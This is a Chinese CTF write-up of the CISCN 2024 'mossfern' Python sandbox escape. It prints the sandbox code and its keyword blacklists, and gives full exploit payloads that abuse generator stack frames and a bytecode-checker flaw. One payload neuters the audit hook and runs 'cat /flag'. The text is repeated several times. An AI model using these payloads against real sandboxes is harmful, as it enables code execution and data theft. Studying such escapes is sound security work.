[CISCN 2024 mossfern]从一个题来详细了解Python栈帧进行沙箱逃逸的利用思路
字数 1265
更新时间 2025-12-31 12:13:04

Python沙箱逃逸与栈帧利用技术详解

——基于CISCN 2024 mossfern题目的深入分析

题目背景与代码结构

整体架构

题目包含两个主要文件:

  • main.py:Web服务入口,处理用户请求
  • runner.py:沙箱执行环境,对用户代码进行安全检查

核心代码分析

main.py

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)
runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()

@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        # 替换占位符并写入文件
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
        
        # 执行沙箱代码
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        # 返回执行结果
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        # 清理临时文件
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({"result": f"{result}\n{error}"})
    except:
        # 异常处理中的文件清理
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({"result": "None"})

runner.py核心执行逻辑

if __name__ == "__main__":
    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
    
    # 三层安全检查
    source_simple_check(source)
    source_opcode_checker(source)
    code = compile(source, "<sandbox>", "exec")
    
    addaudithook(block_wrapper())
    outputIO = StringIO()
    
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    
    output = outputIO.getvalue()
    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
    else:
        print(output)

三层安全防护机制分析

1. source_simple_check(source)

def source_simple_check(source):
    from sys import exit
    from builtins import print
    try:
        source.encode("ascii")  # 强制ASCII编码检查
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()
    
    # 关键词黑名单检查
    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()

防护特点:

  • 强制ASCII字符集,防止Unicode绕过
  • 黑名单包含双下划线、getattr、exit等关键函数
  • 大小写不敏感检查

绕过方法:

  • 使用字符串拼接绕过双下划线检查:'_' + '_' + 'builtins' + '_' + '_'

2. block_wrapper() - 审计钩子

def block_wrapper():
    def audit(event, args):
        from builtins import str, print
        import os
        # 事件和参数拼接检查
        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", 
                 "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
        return audit

防护特点:

  • 实时监控Python解释器事件
  • 覆盖文件操作、模块导入、编译等敏感操作
  • 事件和参数拼接检查,增加绕过难度

绕过思路:

  • 使用不包含黑名单关键词的方法(如栈帧操作)
  • 覆盖审计钩子中的退出函数

3. source_opcode_checker(code) - 字节码检查

def source_opcode_checker(code):
    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)  # 反汇编为字节码
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()

    for line in opcode:
        # 检查危险操作码
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            # 逻辑漏洞:白名单检查后使用break跳出
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()

关键漏洞:

  • 使用break而非continue,导致只检查第一行字节码
  • 白名单机制允许特定函数通过检查

利用方法:

  • 在代码开头放置包含白名单函数的危险操作
  • 后续恶意代码不会被检查

栈帧利用技术详解

栈帧基本概念

栈帧(Stack Frame)是函数调用时在调用栈上分配的内存区域,包含:

  • 局部变量
  • 函数参数
  • 返回地址
  • 上一帧指针

Python中通过帧对象(Frame Object)访问栈帧信息。

生成器获取栈帧技术

核心原理

# 生成器表达式创建时包含完整的调用栈信息
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]  # 强制触发生成器执行

技术细节分析

为什么使用生成器?

  • 生成器在创建时保留完整的调用栈信息
  • 惰性求值特性允许延迟执行
  • 不受__builtins__被清空的影响

生成器表达式 vs 列表推导式

# 列表推导式 - 立即执行,无栈帧保留
result = [x for x in [1]]  # 执行完成后栈帧被清理

# 生成器表达式 - 延迟执行,保留栈帧
gen = (x for x in [1])     # 创建时保留调用栈帧

高版本Python适配
Python 3.11+版本中,生成器栈帧链接方式变化:

  • 静态生成器的f_back可能为None
  • 必须通过执行触发栈帧链接
  • [*gen]next(gen)强制执行

完整的栈帧利用EXP

import requests

url = "http://target-url/run"

payload = """
try:
    [].print()  # 触发白名单检查,利用break漏洞
except:
    pass

# 生成器获取栈帧
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]

# 重建builtins
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str

# 输出常量池中的flag
for i in str(frame.f_code.co_consts):
    print(i, end = " ")
"""

r = requests.post(url, json={"code": payload})
print(r.text)

替代方案:函数式生成器

def builder():
    yield gen.gi_frame.f_back.f_back.f_back  # 调整回溯深度

gen = builder()
frame = [x for x in gen][0]

深度调整原则:

  • 根据实际调用栈结构调整f_back数量
  • 通常需要2-3层回溯到达目标帧

高级利用技术:审计钩子绕过

覆盖退出函数技术

def Acc_print(a):
    # 获取审计函数的局部变量
    Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
    locals = [*Acc][0]
    
    # 覆盖os._exit为print函数
    if 'os' in locals:
        bti.setattr(locals['os'], "_ex" + "it", print)
    print('yes you did it')

bti.print = Acc_print  # 污染print函数

完整的RCE利用EXP

payload = """
try:
    [].print()
except:
    pass

def builder():
    yield gen.gi_frame.f_back.f_back.f_back

gen = builder()
frame = [x for x in gen][0]
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']

def Acc_print(a):
    Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
    locals = [*Acc][0]
    if 'os' in locals:
        bti.setattr(locals['os'], "_ex" + "it", print)

bti.print = Acc_print

# 重建eval和import功能
eval = bti.eval
gta = eval('bti.get' + 'attr', {'bti': bti})
ipt = gta(bti, '_' + '_import_' + '_')
system = ipt('os').system
system('cat /flag')
"""

防御建议与总结

代码审计要点

  1. 字节码检查漏洞修复

    • break改为continue确保完整检查
    • 加强白名单机制或移除逻辑漏洞
  2. 审计钩子强化

    • 监控栈帧操作相关事件
    • 防止关键函数被覆盖
  3. 深度防御策略

    • 结合多种检测机制
    • 限制执行环境权限

技术总结

Python沙箱逃逸的核心在于理解:

  • Python解释器的执行模型
  • 字节码与源码的对应关系
  • 运行时环境的完整性保护
  • 防御机制的逻辑漏洞利用

栈帧利用技术展示了即使在高强度限制下,通过Python内部机制仍可能实现逃逸,强调了安全机制需要全面覆盖各种攻击向量。

Python沙箱逃逸与栈帧利用技术详解

——基于CISCN 2024 mossfern题目的深入分析

题目背景与代码结构

整体架构

题目包含两个主要文件:

  • main.py:Web服务入口,处理用户请求
  • runner.py:沙箱执行环境,对用户代码进行安全检查

核心代码分析

main.py

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)
runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()

@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        # 替换占位符并写入文件
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
        
        # 执行沙箱代码
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        # 返回执行结果
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        # 清理临时文件
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({"result": f"{result}\n{error}"})
    except:
        # 异常处理中的文件清理
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({"result": "None"})

runner.py核心执行逻辑

if __name__ == "__main__":
    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
    
    # 三层安全检查
    source_simple_check(source)
    source_opcode_checker(source)
    code = compile(source, "<sandbox>", "exec")
    
    addaudithook(block_wrapper())
    outputIO = StringIO()
    
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    
    output = outputIO.getvalue()
    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
    else:
        print(output)

三层安全防护机制分析

1. source_simple_check(source)

def source_simple_check(source):
    from sys import exit
    from builtins import print
    try:
        source.encode("ascii")  # 强制ASCII编码检查
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()
    
    # 关键词黑名单检查
    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()

防护特点:

  • 强制ASCII字符集,防止Unicode绕过
  • 黑名单包含双下划线、getattr、exit等关键函数
  • 大小写不敏感检查

绕过方法:

  • 使用字符串拼接绕过双下划线检查:'_' + '_' + 'builtins' + '_' + '_'

2. block_wrapper() - 审计钩子

def block_wrapper():
    def audit(event, args):
        from builtins import str, print
        import os
        # 事件和参数拼接检查
        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", 
                 "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
        return audit

防护特点:

  • 实时监控Python解释器事件
  • 覆盖文件操作、模块导入、编译等敏感操作
  • 事件和参数拼接检查,增加绕过难度

绕过思路:

  • 使用不包含黑名单关键词的方法(如栈帧操作)
  • 覆盖审计钩子中的退出函数

3. source_opcode_checker(code) - 字节码检查

def source_opcode_checker(code):
    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)  # 反汇编为字节码
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()

    for line in opcode:
        # 检查危险操作码
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            # 逻辑漏洞:白名单检查后使用break跳出
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()

关键漏洞:

  • 使用break而非continue,导致只检查第一行字节码
  • 白名单机制允许特定函数通过检查

利用方法:

  • 在代码开头放置包含白名单函数的危险操作
  • 后续恶意代码不会被检查

栈帧利用技术详解

栈帧基本概念

栈帧(Stack Frame)是函数调用时在调用栈上分配的内存区域,包含:

  • 局部变量
  • 函数参数
  • 返回地址
  • 上一帧指针

Python中通过帧对象(Frame Object)访问栈帧信息。

生成器获取栈帧技术

核心原理

# 生成器表达式创建时包含完整的调用栈信息
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]  # 强制触发生成器执行

技术细节分析

为什么使用生成器?

  • 生成器在创建时保留完整的调用栈信息
  • 惰性求值特性允许延迟执行
  • 不受__builtins__被清空的影响

生成器表达式 vs 列表推导式

# 列表推导式 - 立即执行,无栈帧保留
result = [x for x in [1]]  # 执行完成后栈帧被清理

# 生成器表达式 - 延迟执行,保留栈帧
gen = (x for x in [1])     # 创建时保留调用栈帧

高版本Python适配
Python 3.11+版本中,生成器栈帧链接方式变化:

  • 静态生成器的f_back可能为None
  • 必须通过执行触发栈帧链接
  • [*gen]next(gen)强制执行

完整的栈帧利用EXP

import requests

url = "http://target-url/run"

payload = """
try:
    [].print()  # 触发白名单检查,利用break漏洞
except:
    pass

# 生成器获取栈帧
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]

# 重建builtins
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str

# 输出常量池中的flag
for i in str(frame.f_code.co_consts):
    print(i, end = " ")
"""

r = requests.post(url, json={"code": payload})
print(r.text)

替代方案:函数式生成器

def builder():
    yield gen.gi_frame.f_back.f_back.f_back  # 调整回溯深度

gen = builder()
frame = [x for x in gen][0]

深度调整原则:

  • 根据实际调用栈结构调整f_back数量
  • 通常需要2-3层回溯到达目标帧

高级利用技术:审计钩子绕过

覆盖退出函数技术

def Acc_print(a):
    # 获取审计函数的局部变量
    Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
    locals = [*Acc][0]
    
    # 覆盖os._exit为print函数
    if 'os' in locals:
        bti.setattr(locals['os'], "_ex" + "it", print)
    print('yes you did it')

bti.print = Acc_print  # 污染print函数

完整的RCE利用EXP

payload = """
try:
    [].print()
except:
    pass

def builder():
    yield gen.gi_frame.f_back.f_back.f_back

gen = builder()
frame = [x for x in gen][0]
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']

def Acc_print(a):
    Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
    locals = [*Acc][0]
    if 'os' in locals:
        bti.setattr(locals['os'], "_ex" + "it", print)

bti.print = Acc_print

# 重建eval和import功能
eval = bti.eval
gta = eval('bti.get' + 'attr', {'bti': bti})
ipt = gta(bti, '_' + '_import_' + '_')
system = ipt('os').system
system('cat /flag')
"""

防御建议与总结

代码审计要点

  1. 字节码检查漏洞修复

    • break改为continue确保完整检查
    • 加强白名单机制或移除逻辑漏洞
  2. 审计钩子强化

    • 监控栈帧操作相关事件
    • 防止关键函数被覆盖
  3. 深度防御策略

    • 结合多种检测机制
    • 限制执行环境权限

技术总结

Python沙箱逃逸的核心在于理解:

  • Python解释器的执行模型
  • 字节码与源码的对应关系
  • 运行时环境的完整性保护
  • 防御机制的逻辑漏洞利用

栈帧利用技术展示了即使在高强度限制下,通过Python内部机制仍可能实现逃逸,强调了安全机制需要全面覆盖各种攻击向量。

Python沙箱逃逸与栈帧利用技术详解 ——基于CISCN 2024 mossfern题目的深入分析 题目背景与代码结构 整体架构 题目包含两个主要文件: main.py :Web服务入口,处理用户请求 runner.py :沙箱执行环境,对用户代码进行安全检查 核心代码分析 main.py runner.py核心执行逻辑 三层安全防护机制分析 1. source_ simple_ check(source) 防护特点: 强制ASCII字符集,防止Unicode绕过 黑名单包含双下划线、getattr、exit等关键函数 大小写不敏感检查 绕过方法: 使用字符串拼接绕过双下划线检查: '_' + '_' + 'builtins' + '_' + '_' 2. block_ wrapper() - 审计钩子 防护特点: 实时监控Python解释器事件 覆盖文件操作、模块导入、编译等敏感操作 事件和参数拼接检查,增加绕过难度 绕过思路: 使用不包含黑名单关键词的方法(如栈帧操作) 覆盖审计钩子中的退出函数 3. source_ opcode_ checker(code) - 字节码检查 关键漏洞: 使用 break 而非 continue ,导致只检查第一行字节码 白名单机制允许特定函数通过检查 利用方法: 在代码开头放置包含白名单函数的危险操作 后续恶意代码不会被检查 栈帧利用技术详解 栈帧基本概念 栈帧(Stack Frame)是函数调用时在调用栈上分配的内存区域,包含: 局部变量 函数参数 返回地址 上一帧指针 Python中通过帧对象(Frame Object)访问栈帧信息。 生成器获取栈帧技术 核心原理 技术细节分析 为什么使用生成器? 生成器在创建时保留完整的调用栈信息 惰性求值特性允许延迟执行 不受 __builtins__ 被清空的影响 生成器表达式 vs 列表推导式 高版本Python适配 Python 3.11+版本中,生成器栈帧链接方式变化: 静态生成器的 f_back 可能为 None 必须通过执行触发栈帧链接 [*gen] 或 next(gen) 强制执行 完整的栈帧利用EXP 替代方案:函数式生成器 深度调整原则: 根据实际调用栈结构调整 f_back 数量 通常需要2-3层回溯到达目标帧 高级利用技术:审计钩子绕过 覆盖退出函数技术 完整的RCE利用EXP 防御建议与总结 代码审计要点 字节码检查漏洞修复 将 break 改为 continue 确保完整检查 加强白名单机制或移除逻辑漏洞 审计钩子强化 监控栈帧操作相关事件 防止关键函数被覆盖 深度防御策略 结合多种检测机制 限制执行环境权限 技术总结 Python沙箱逃逸的核心在于理解: Python解释器的执行模型 字节码与源码的对应关系 运行时环境的完整性保护 防御机制的逻辑漏洞利用 栈帧利用技术展示了即使在高强度限制下,通过Python内部机制仍可能实现逃逸,强调了安全机制需要全面覆盖各种攻击向量。